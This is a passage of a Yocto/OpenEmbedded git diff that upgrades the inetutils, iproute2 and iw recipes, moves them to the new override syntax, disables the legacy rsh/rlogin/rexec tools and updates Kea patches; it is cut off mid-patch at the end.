-FILES_${PN}-tftp = "${bindir}/tftp.${BPN}"
-FILES_${PN}-telnet = "${bindir}/telnet.${BPN}"
-
-# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
-# alternatives method as this leads to packaging QA issues when using
-# musl as that library does not provide what these applications need to
-# build.
-FILES_${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
-RCONFLICTS_${PN}-rsh += "netkit-rsh-client"
-RPROVIDES_${PN}-rsh = "rsh"
-
-FILES_${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
- ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
-FILES_${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
-RDEPENDS_${PN}-rshd += "xinetd tcp-wrappers"
-RCONFLICTS_${PN}-rshd += "netkit-rshd-server"
-RPROVIDES_${PN}-rshd = "rshd"
-
-FILES_${PN}-ftpd = "${bindir}/ftpd.${BPN}"
-FILES_${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
-RDEPENDS_${PN}-ftpd += "xinetd"
-
-FILES_${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
-FILES_${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
-RCONFLICTS_${PN}-tftpd += "netkit-tftpd"
-RDEPENDS_${PN}-tftpd += "xinetd"
-
-FILES_${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
-FILES_${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
-RCONFLICTS_${PN}-telnetd += "netkit-telnet"
-RPROVIDES_${PN}-telnetd = "telnetd"
-RDEPENDS_${PN}-telnetd += "xinetd"
-
-FILES_${PN}-inetd = "${bindir}/inetd.${BPN}"
-
-RDEPENDS_${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/inetutils/inetutils_2.2.bb b/meta/recipes-connectivity/inetutils/inetutils_2.2.bb
new file mode 100644
index 0000000000..3bab137eb4
--- /dev/null
+++ b/meta/recipes-connectivity/inetutils/inetutils_2.2.bb
@@ -0,0 +1,211 @@
+DESCRIPTION = "The GNU inetutils are a collection of common \
+networking utilities and servers including ftp, ftpd, rcp, \
+rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
+talkd, telnet, telnetd, tftp, tftpd, and uucpd."
+HOMEPAGE = "http://www.gnu.org/software/inetutils"
+SECTION = "net"
+DEPENDS = "ncurses netbase readline virtual/crypt"
+
+LICENSE = "GPLv3"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
+
+SRC_URI[sha256sum] = "d547f69172df73afef691a0f7886280fd781acea28def4ff4b4b212086a89d80"
+SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.xz \
+ file://inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch \
+ file://inetutils-1.8-0003-wchar.patch \
+ file://rexec.xinetd.inetutils \
+ file://rlogin.xinetd.inetutils \
+ file://rsh.xinetd.inetutils \
+ file://telnet.xinetd.inetutils \
+ file://tftpd.xinetd.inetutils \
+ file://inetutils-1.9-PATH_PROCNET_DEV.patch \
+ file://inetutils-only-check-pam_appl.h-when-pam-enabled.patch \
+"
+
+inherit autotools gettext update-alternatives texinfo
+
+acpaths = "-I ./m4"
+
+SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '', 'file://fix-disable-ipv6.patch', d)}"
+
+PACKAGECONFIG ??= "ftp uucpd \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
+ "
+PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
+PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
+PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
+
+EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
+ inetutils_cv_path_login=${base_bindir}/login \
+ --with-libreadline-prefix=${STAGING_LIBDIR} \
+ --enable-rpath=no \
+"
+
+# These are horrible for security, disable them
+EXTRA_OECONF:append = " --disable-rsh --disable-rshd --disable-rcp \
+ --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
+
+do_configure:prepend () {
+ export HELP2MAN='true'
+ cp ${STAGING_DATADIR_NATIVE}/gettext/config.rpath ${S}/build-aux/config.rpath
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}
+ rm -f ${S}/glob/configure*
+}
+
+do_install:append () {
+ install -m 0755 -d ${D}${base_sbindir}
+ install -m 0755 -d ${D}${sbindir}
+ install -m 0755 -d ${D}${sysconfdir}/xinetd.d
+ if [ "${base_bindir}" != "${bindir}" ] ; then
+ install -m 0755 -d ${D}${base_bindir}
+ mv ${D}${bindir}/ping* ${D}${base_bindir}/
+ mv ${D}${bindir}/hostname ${D}${base_bindir}/
+ mv ${D}${bindir}/dnsdomainname ${D}${base_bindir}/
+ fi
+ mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
+ mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
+ if [ -e ${D}${libexecdir}/rexecd ]; then
+ mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
+ cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
+ fi
+ if [ -e ${D}${libexecdir}/rlogind ]; then
+ mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
+ cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
+ fi
+ if [ -e ${D}${libexecdir}/rshd ]; then
+ mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
+ cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
+ fi
+ if [ -e ${D}${libexecdir}/talkd ]; then
+ mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
+ fi
+ mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
+ mv ${D}${libexecdir}/* ${D}${bindir}/
+ cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
+ cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
+
+ sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
+ if [ -e ${D}${libdir}/charset.alias ]; then
+ rm -rf ${D}${libdir}/charset.alias
+ fi
+ rm -rf ${D}${libexecdir}/
+ # remove usr/lib if empty
+ rmdir ${D}${libdir} || true
+}
+
+PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
+${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
+${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
+${PN}-rsh ${PN}-rshd"
+
+# The packages tftpd, telnetd and rshd conflict with the ones
+# provided by netkit, so add the corresponding -dbg packages
+# for them to avoid the confliction between the dbg package
+# of inetutils and netkit.
+PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
+NOAUTOPACKAGEDEBUG = "1"
+
+ALTERNATIVE_PRIORITY = "79"
+ALTERNATIVE:${PN} = "whois dnsdomainname"
+ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
+ALTERNATIVE_LINK_NAME[dnsdomainname] = "${base_bindir}/dnsdomainname"
+
+ALTERNATIVE_PRIORITY_${PN}-logger = "60"
+ALTERNATIVE:${PN}-logger = "logger"
+ALTERNATIVE:${PN}-syslogd = "syslogd"
+ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
+
+ALTERNATIVE:${PN}-ftp = "ftp"
+ALTERNATIVE:${PN}-ftpd = "ftpd"
+ALTERNATIVE:${PN}-tftp = "tftp"
+ALTERNATIVE:${PN}-tftpd = "tftpd"
+ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
+ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
+
+ALTERNATIVE:${PN}-telnet = "telnet"
+ALTERNATIVE:${PN}-telnetd = "telnetd"
+ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
+ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
+
+ALTERNATIVE:${PN}-inetd= "inetd"
+ALTERNATIVE:${PN}-traceroute = "traceroute"
+
+ALTERNATIVE:${PN}-hostname = "hostname"
+ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
+
+ALTERNATIVE:${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8 \
+ tftpd.8 tftp.1 telnetd.8"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
+ALTERNATIVE_LINK_NAME[tftpd.8] = "${mandir}/man8/tftpd.8"
+ALTERNATIVE_LINK_NAME[tftp.1] = "${mandir}/man1/tftp.1"
+
+ALTERNATIVE:${PN}-ifconfig = "ifconfig"
+ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+ALTERNATIVE:${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
+ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
+
+
+FILES:${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
+FILES:${PN}-hostname = "${base_bindir}/hostname.${BPN}"
+FILES:${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
+FILES:${PN}-traceroute = "${bindir}/traceroute.${BPN}"
+FILES:${PN}-logger = "${bindir}/logger.${BPN}"
+
+FILES:${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
+RCONFLICTS:${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
+
+FILES:${PN}-ftp = "${bindir}/ftp.${BPN}"
+
+FILES:${PN}-tftp = "${bindir}/tftp.${BPN}"
+FILES:${PN}-telnet = "${bindir}/telnet.${BPN}"
+
+# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
+# alternatives method as this leads to packaging QA issues when using
+# musl as that library does not provide what these applications need to
+# build.
+FILES:${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
+RCONFLICTS:${PN}-rsh += "netkit-rsh-client"
+RPROVIDES:${PN}-rsh = "rsh"
+
+FILES:${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
+ ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
+FILES:${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
+RDEPENDS:${PN}-rshd += "xinetd tcp-wrappers"
+RCONFLICTS:${PN}-rshd += "netkit-rshd-server"
+RPROVIDES:${PN}-rshd = "rshd"
+
+FILES:${PN}-ftpd = "${bindir}/ftpd.${BPN}"
+FILES:${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
+RDEPENDS:${PN}-ftpd += "xinetd"
+
+FILES:${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
+FILES:${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
+RCONFLICTS:${PN}-tftpd += "netkit-tftpd"
+RDEPENDS:${PN}-tftpd += "xinetd"
+
+FILES:${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
+FILES:${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
+RCONFLICTS:${PN}-telnetd += "netkit-telnet"
+RPROVIDES:${PN}-telnetd = "telnetd"
+RDEPENDS:${PN}-telnetd += "xinetd"
+
+FILES:${PN}-inetd = "${bindir}/inetd.${BPN}"
+
+RDEPENDS:${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/iproute2/iproute2.inc b/meta/recipes-connectivity/iproute2/iproute2.inc
index 403d264308..3f070d6799 100644
--- a/meta/recipes-connectivity/iproute2/iproute2.inc
+++ b/meta/recipes-connectivity/iproute2/iproute2.inc
@@ -19,17 +19,20 @@ PACKAGECONFIG ??= "tipc elf devlink"
PACKAGECONFIG[tipc] = ",,libmnl,"
PACKAGECONFIG[elf] = ",,elfutils,"
PACKAGECONFIG[devlink] = ",,libmnl,"
+PACKAGECONFIG[rdma] = ",,libmnl,"
+
+IPROUTE2_MAKE_SUBDIRS = "lib tc ip bridge misc genl ${@bb.utils.filter('PACKAGECONFIG', 'devlink tipc rdma', d)}"
EXTRA_OEMAKE = "\
CC='${CC}' \
KERNEL_INCLUDE=${STAGING_INCDIR} \
DOCDIR=${docdir}/iproute2 \
- SUBDIRS='lib tc ip bridge misc genl ${@bb.utils.filter('PACKAGECONFIG', 'devlink tipc', d)}' \
+ SUBDIRS='${IPROUTE2_MAKE_SUBDIRS}' \
SBINDIR='${base_sbindir}' \
LIBDIR='${libdir}' \
"
-do_configure_append () {
+do_configure:append () {
sh configure ${STAGING_INCDIR}
# Explicitly disable ATM support
sed -i -e '/TC_CONFIG_ATM/d' config.mk
@@ -44,38 +47,45 @@ do_install () {
}
# The .so files in iproute2-tc are modules, not traditional libraries
-INSANE_SKIP_${PN}-tc = "dev-so"
+INSANE_SKIP:${PN}-tc = "dev-so"
-PACKAGES =+ "\
+IPROUTE2_PACKAGES =+ "\
${PN}-devlink \
${PN}-genl \
${PN}-ifstat \
+ ${PN}-ip \
${PN}-lnstat \
${PN}-nstat \
${PN}-rtacct \
${PN}-ss \
${PN}-tc \
${PN}-tipc \
+ ${PN}-rdma \
"
-FILES_${PN}-tc = "${base_sbindir}/tc* \
+PACKAGE_BEFORE_PN = "${IPROUTE2_PACKAGES}"
+RDEPENDS:${PN} += "${PN}-ip"
+
+FILES:${PN}-tc = "${base_sbindir}/tc* \
${libdir}/tc/*.so"
-FILES_${PN}-lnstat = "${base_sbindir}/lnstat \
+FILES:${PN}-lnstat = "${base_sbindir}/lnstat \
${base_sbindir}/ctstat \
${base_sbindir}/rtstat"
-FILES_${PN}-ifstat = "${base_sbindir}/ifstat"
-FILES_${PN}-genl = "${base_sbindir}/genl"
-FILES_${PN}-rtacct = "${base_sbindir}/rtacct"
-FILES_${PN}-nstat = "${base_sbindir}/nstat"
-FILES_${PN}-ss = "${base_sbindir}/ss"
-FILES_${PN}-tipc = "${base_sbindir}/tipc"
-FILES_${PN}-devlink = "${base_sbindir}/devlink"
+FILES:${PN}-ifstat = "${base_sbindir}/ifstat"
+FILES:${PN}-ip = "${base_sbindir}/ip.${PN} ${sysconfdir}/iproute2"
+FILES:${PN}-genl = "${base_sbindir}/genl"
+FILES:${PN}-rtacct = "${base_sbindir}/rtacct"
+FILES:${PN}-nstat = "${base_sbindir}/nstat"
+FILES:${PN}-ss = "${base_sbindir}/ss"
+FILES:${PN}-tipc = "${base_sbindir}/tipc"
+FILES:${PN}-devlink = "${base_sbindir}/devlink"
+FILES:${PN}-rdma = "${base_sbindir}/rdma"
-ALTERNATIVE_${PN} = "ip"
+ALTERNATIVE:${PN}-ip = "ip"
ALTERNATIVE_TARGET[ip] = "${base_sbindir}/ip.${BPN}"
ALTERNATIVE_LINK_NAME[ip] = "${base_sbindir}/ip"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-tc = "tc"
+ALTERNATIVE:${PN}-tc = "tc"
ALTERNATIVE_LINK_NAME[tc] = "${base_sbindir}/tc"
ALTERNATIVE_PRIORITY_${PN}-tc = "100"
diff --git a/meta/recipes-connectivity/iproute2/iproute2_5.15.0.bb b/meta/recipes-connectivity/iproute2/iproute2_5.15.0.bb
new file mode 100644
index 0000000000..99a743391a
--- /dev/null
+++ b/meta/recipes-connectivity/iproute2/iproute2_5.15.0.bb
@@ -0,0 +1,11 @@
+require iproute2.inc
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
+ file://0001-libc-compat.h-add-musl-workaround.patch \
+ "
+
+SRC_URI[sha256sum] = "38e3e4a5f9a7f5575c015027a10df097c149111eeb739993128e5b2b35b291ff"
+
+# CFLAGS are computed in Makefile and reference CCOPTS
+#
+EXTRA_OEMAKE:append = " CCOPTS='${CFLAGS}'"
diff --git a/meta/recipes-connectivity/iproute2/iproute2_5.9.0.bb b/meta/recipes-connectivity/iproute2/iproute2_5.9.0.bb
deleted file mode 100644
index 0e6a53e6a4..0000000000
--- a/meta/recipes-connectivity/iproute2/iproute2_5.9.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require iproute2.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
- file://0001-libc-compat.h-add-musl-workaround.patch \
- "
-
-SRC_URI[sha256sum] = "a25dac94bcdcf2f73316c7f812115ea7a5710580bad892b08a83d00c6b33dacf"
-
-# CFLAGS are computed in Makefile and reference CCOPTS
-#
-EXTRA_OEMAKE_append = " CCOPTS='${CFLAGS}'"
diff --git a/meta/recipes-connectivity/iw/iw_5.16.bb b/meta/recipes-connectivity/iw/iw_5.16.bb
new file mode 100644
index 0000000000..cf176a349f
--- /dev/null
+++ b/meta/recipes-connectivity/iw/iw_5.16.bb
@@ -0,0 +1,31 @@
+SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
+DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
+wireless devices. It supports almost all new drivers that have been added \
+to the kernel recently. "
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/users/documentation/iw"
+SECTION = "base"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
+
+DEPENDS = "libnl"
+
+SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
+ file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
+ file://separate-objdir.patch \
+"
+
+SRC_URI[sha256sum] = "9c91f2560b258d9660e656ad37fa5bd100ac255865dcfb26076a576b10d8f3a7"
+
+inherit pkgconfig
+
+EXTRA_OEMAKE = "\
+ -f '${S}/Makefile' \
+ \
+ 'PREFIX=${prefix}' \
+ 'SBINDIR=${sbindir}' \
+ 'MANDIR=${mandir}' \
+"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
diff --git a/meta/recipes-connectivity/iw/iw_5.9.bb b/meta/recipes-connectivity/iw/iw_5.9.bb
deleted file mode 100644
index 3d1e1c7e79..0000000000
--- a/meta/recipes-connectivity/iw/iw_5.9.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
-DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
-wireless devices. It supports almost all new drivers that have been added \
-to the kernel recently. "
-HOMEPAGE = "https://wireless.wiki.kernel.org/en/users/documentation/iw"
-SECTION = "base"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
-
-DEPENDS = "libnl"
-
-SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
- file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
- file://separate-objdir.patch \
-"
-
-SRC_URI[sha256sum] = "6e7d3c9f8b4ee68e412f20fe229c9854c2dba383e3e650ce6af8eb8dbd12efc3"
-
-inherit pkgconfig
-
-EXTRA_OEMAKE = "\
- -f '${S}/Makefile' \
- \
- 'PREFIX=${prefix}' \
- 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
diff --git a/meta/recipes-connectivity/kea/files/0001-keactrl.in-create-var-lib-kea-and-var-run-kea-folder.patch b/meta/recipes-connectivity/kea/files/0001-keactrl.in-create-var-lib-kea-and-var-run-kea-folder.patch
deleted file mode 100644
index ab3fd83946..0000000000
--- a/meta/recipes-connectivity/kea/files/0001-keactrl.in-create-var-lib-kea-and-var-run-kea-folder.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 639dc25cdabc9d1846000a542c8cc19158b69994 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <mingli.yu@windriver.com>
-Date: Fri, 18 Sep 2020 08:18:08 +0000
-Subject: [PATCH] keactrl.in: create /var/lib/kea and /var/run/kea folder
-
-Create /var/lib/kea and /var/run/kea folder to fix below error:
- # keactrl start
- INFO/keactrl: Starting /usr/sbin/kea-dhcp4 -c /etc/kea/kea-dhcp4.conf
- INFO/keactrl: Starting /usr/sbin/kea-dhcp6 -c /etc/kea/kea-dhcp6.conf
- INFO/keactrl: Starting /usr/sbin/kea-ctrl-agent -c /etc/kea/kea-ctrl-agent.conf
- Unable to use interprocess sync lockfile (No such file or directory): /var/run/kea/logger_lockfile
- Service failed: Launch failed: Unable to open PID file '/var/run/kea/kea-ctrl-agent.kea-ctrl-agent.pid' for write
- [snip]
- ERROR [kea-dhcp4.dhcp4/615.140641792751488] DHCP4_CONFIG_LOAD_FAIL configuration error using file: /etc/kea/kea-dhcp4.conf, reason: Unable to open database: unable to open '/var/lib/kea/kea-leases4.csv'
- [snip]
-
-Upstream-Status: Inappropriate [config specific]
-
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- src/bin/keactrl/keactrl.in | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/bin/keactrl/keactrl.in b/src/bin/keactrl/keactrl.in
-index 12b2b3f..47cf6f9 100644
---- a/src/bin/keactrl/keactrl.in
-+++ b/src/bin/keactrl/keactrl.in
-@@ -482,6 +482,8 @@ case ${command} in
- # The variables (dhcp4_srv, dhcp6_serv, dhcp_ddns_srv etc) are set in the
- # keactrl.conf file that shellcheck is unable to read.
- # shellcheck disable=SC2154
-+ [ -d @LOCALSTATEDIR@/run/kea ] || mkdir -p @LOCALSTATEDIR@/run/kea
-+ [ -d @LOCALSTATEDIR@/lib/kea ] || mkdir -p @LOCALSTATEDIR@/lib/kea
- run_conditional "dhcp4" "start_server ${dhcp4_srv} -c ${kea_dhcp4_config_file} ${args}" 1
- run_conditional "dhcp6" "start_server ${dhcp6_srv} -c ${kea_dhcp6_config_file} ${args}" 1
- # shellcheck disable=SC2154
---
-2.26.2
-
diff --git a/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
new file mode 100644
index 0000000000..94fbd12737
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
@@ -0,0 +1,28 @@
+From 841924e1fe8db2bff3eab8d37634ef08f86c00ec Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 15:57:03 +0000
+Subject: [PATCH] src/lib/log/logger_unittest_support.cc: do not write build
+ path into binary
+
+This breaks reproducibility and is needed only in unit testing.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ src/lib/log/logger_unittest_support.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/lib/log/logger_unittest_support.cc b/src/lib/log/logger_unittest_support.cc
+index fc01c6e..f46d17e 100644
+--- a/src/lib/log/logger_unittest_support.cc
++++ b/src/lib/log/logger_unittest_support.cc
+@@ -84,7 +84,7 @@ void initLogger(isc::log::Severity severity, int dbglevel) {
+ const char* localfile = getenv("KEA_LOGGER_LOCALMSG");
+
+ // Set a directory for creating lockfiles when running tests
+- setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
++ //setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
+
+ // Initialize logging
+ initLogger(root, severity, dbglevel, localfile);
diff --git a/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
index 733adf5536..78f475a495 100644
--- a/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
+++ b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
@@ -1,4 +1,7 @@
-There are conflict of config files between kea and lib32-kea:
+From d027b1d85a8c1a0193b6e4a00083d3038d699a59 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 22 Sep 2020 15:02:33 +0800
+Subject: [PATCH] There are conflict of config files between kea and lib32-kea:
| Error: Transaction test error:
| file /etc/kea/kea-ctrl-agent.conf conflicts between attempted installs of
@@ -9,17 +12,19 @@ There are conflict of config files between kea and lib32-kea:
Because they are all commented out, replace the expanded libdir path with
'$libdir' in the config files to avoid conflict.
+Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
---
src/bin/keactrl/kea-ctrl-agent.conf.pre | 3 ++-
- src/bin/keactrl/kea-dhcp4.conf.pre | 6 ++++--
- 2 files changed, 6 insertions(+), 3 deletions(-)
+ src/bin/keactrl/kea-dhcp4.conf.pre | 4 ++--
+ 2 files changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/bin/keactrl/kea-ctrl-agent.conf.pre b/src/bin/keactrl/kea-ctrl-agent.conf.pre
-index 211b7ff..d710ec7 100644
+index e6ae8b8..50a3092 100644
--- a/src/bin/keactrl/kea-ctrl-agent.conf.pre
+++ b/src/bin/keactrl/kea-ctrl-agent.conf.pre
-@@ -45,7 +45,8 @@
+@@ -51,7 +51,8 @@
// Agent will fail to start.
"hooks-libraries": [
// {
@@ -30,26 +35,24 @@ index 211b7ff..d710ec7 100644
// "param1": "foo"
// }
diff --git a/src/bin/keactrl/kea-dhcp4.conf.pre b/src/bin/keactrl/kea-dhcp4.conf.pre
-index 5f77a32..70ae3d9 100644
+index 26bf163..49ddb0a 100644
--- a/src/bin/keactrl/kea-dhcp4.conf.pre
+++ b/src/bin/keactrl/kea-dhcp4.conf.pre
-@@ -252,7 +252,8 @@
- // // of all devices serviced by Kea, including their identifiers
- // // (like MAC address), their location in the network, times
- // // when they were active etc.
-- // "library": "@libdir@/kea/hooks/libdhcp_legal_log.so"
-+ // // Replace $libdir with real library path /usr/lib or /usr/lib64
-+ // "library": "$libdir/kea/hooks/libdhcp_legal_log.so"
- // "parameters": {
- // "path": "/var/lib/kea",
- // "base-name": "kea-forensic4"
-@@ -269,7 +270,8 @@
- // // of specific options or perhaps even a combination of several
- // // options and fields to uniquely identify a client. Those scenarios
- // // are addressed by the Flexible Identifiers hook application.
-- // "library": "@libdir@/kea/hooks/libdhcp_flex_id.so",
-+ // // Replace $libdir with real library path /usr/lib or /usr/lib64
-+ // "library": "$libdir/kea/hooks/libdhcp_flex_id.so",
- // "parameters": {
- // "identifier-expression": "substring(relay6[0].option[18],0,8)"
- // }
+@@ -252,7 +252,7 @@
+ // // of all devices serviced by Kea, including their identifiers
+ // // (like MAC address), their location in the network, times
+ // // when they were active etc.
+- // "library": "@libdir@/kea/hooks/libdhcp_legal_log.so",
++ // "library": "$libdir/kea/hooks/libdhcp_legal_log.so",
+ // "parameters": {
+ // "path": "/var/lib/kea",
+ // "base-name": "kea-forensic4"
+@@ -269,7 +269,7 @@
+ // // of specific options or perhaps even a combination of several
+ // // options and fields to uniquely identify a client. Those scenarios
+ // // are addressed by the Flexible Identifiers hook application.
+- // "library": "@libdir@/kea/hooks/libdhcp_flex_id.so",
++ // "library": "$libdir/kea/hooks/libdhcp_flex_id.so",
+ // "parameters": {
+ // "identifier-expression": "relay4[2].hex"
+ // }
diff --git a/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
index eeeb89942b..b7c2fd4f0d 100644
--- a/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
+++ b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
@@ -1,22 +1,29 @@
-Busybox does not support ps -p so use pgrep
+From 18f4f6206c248d6169aa67b3ecf16bf54e9292e8 Mon Sep 17 00:00:00 2001
